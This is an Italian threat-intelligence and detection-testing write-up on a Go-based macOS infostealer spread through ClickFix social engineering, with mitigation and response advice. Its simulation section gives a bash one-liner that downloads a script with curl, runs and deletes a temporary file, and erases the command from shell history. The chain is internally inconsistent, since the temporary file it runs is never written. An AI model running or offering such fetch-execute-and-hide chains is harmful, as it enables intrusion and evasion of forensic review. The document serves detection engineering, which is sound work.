Infostealer macOS prende di mira i portafogli di criptovaluta

Sommario

Uno stealer per macOS basato su Go sta prendendo di mira gli utenti di criptovalute tramite una campagna di ingegneria sociale ClickFix. Il malware ruba credenziali sensibili dal portachiavi Apple e dai browser, e presenta anche la capacità di svuotare gradualmente i saldi di criptovaluta dai portafogli delle vittime. La catena di infezione inizia con un profiler script shell che consegna payload Mach-O specifici per architettura.

Indagine

Gli analisti di Huntress hanno scoperto la minaccia durante una ricerca retrospettiva e identificato componenti di uno stealer specifico per macOS che era rimasto attivo per circa tre mesi. L’indagine ha collegato l’infrastruttura di supporto al Gruppo Aeza, un provider russo di hosting a prova di proiettile sanzionato. I ricercatori hanno ricostruito la catena di attacco dal prompt iniziale di ingegneria sociale ClickFix fino all’esecuzione finale del payload e alla comunicazione C2.

Mitigazione

Gli utenti dovrebbero evitare di interagire con richieste CAPTCHA sospette o seguire istruzioni insolite che richiedono l’inserimento di comandi nel Terminale. Estensioni del browser progettate per limitare script dannosi, come NoScript, e strumenti di blocco basati su DNS come Pi-hole possono aiutare a ridurre l’esposizione. Un addestramento completo alla consapevolezza dell’utente focalizzato sull’ingegneria sociale ClickFix rimane una delle difese più efficaci.

Risposta

Se viene rilevata un’infezione, il sistema macOS colpito dovrebbe essere isolato immediatamente per fermare l’ulteriore esfiltrazione di dati o lo svuotamento del portafoglio di criptovalute. Gli amministratori dovrebbero localizzare e rimuovere tutti i binari Mach-O dannosi e i meccanismi di persistenza associati. Poiché il malware prende di mira le credenziali, le password per tutti gli account accessibili dal dispositivo compromesso dovrebbero essere reimpostate.

Esecuzione della simulazione

Il prerequisito: il controllo pre-volo di Telemetria & Baseline deve essere passato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrazione & Comandi dell’Attacco: L’avversario inizia una truffa ClickFix. La vittima viene ingannata ad eseguire un comando nel proprio terminale. Il comando utilizza curl -kFsSL per scaricare silenziosamente uno script dannoso. Per evitare di lasciare tracce, lo script viene eseguito tramite un comando bash one-liner che elimina immediatamente il proprio file temporaneo (.UlaccK). Infine, l’attaccante esegue un complesso comando history per rimuovere chirurgicamente il comando dalla cronologia della shell dell’utente, rendendo l’attacco invisibile a un’ispezione forense casuale.

• Script di test di regressione:

  #!/bin/bash
  # Simulazione di un attacco malware ClickFix su macOS
  # Questo script imita i modelli di stringa esatti richiesti dalla regola di rilevamento.
  
  echo "[+] Inizio simulazione..."
  
  # 1. Simulare il download tramite curl (Selezione 3)
  # 2. Simulare l'esecuzione e immediata eliminazione tramite bash (Selezione 1)
  # 3. Simulare la manipolazione della cronologia (Selezione 2)
  
  # Combiniamo questi in una singola linea per imitare il modello comportamentale
  # Nota: Usiamo un URL fittizio per evitare l'effettiva esecuzione del malware
  curl -kFsSL https://raw.githubusercontent.com/dummy/malware/main/payload.sh > /dev/null 2>&1 && bash .UlaccK && rm -f .UlaccK && history -d $(history 1 2>/dev/null | awk '{print $1}')
  
  echo "[+] Comando di simulazione eseguito."
  echo "[!] Controlla il tuo SIEM per l'allerta 'Attacco malware su macOS che svuota i portafogli'."

• Comandi di pulizia:

  # Rimuovere eventuali artefatti lasciati dalla simulazione
  rm -f .UlaccK
  # Nota: La manipolazione della cronologia nello script è intesa per simulare l'evasione;
  # potrebbe essere necessaria una riapertura manuale della cronologia per l'utente del test.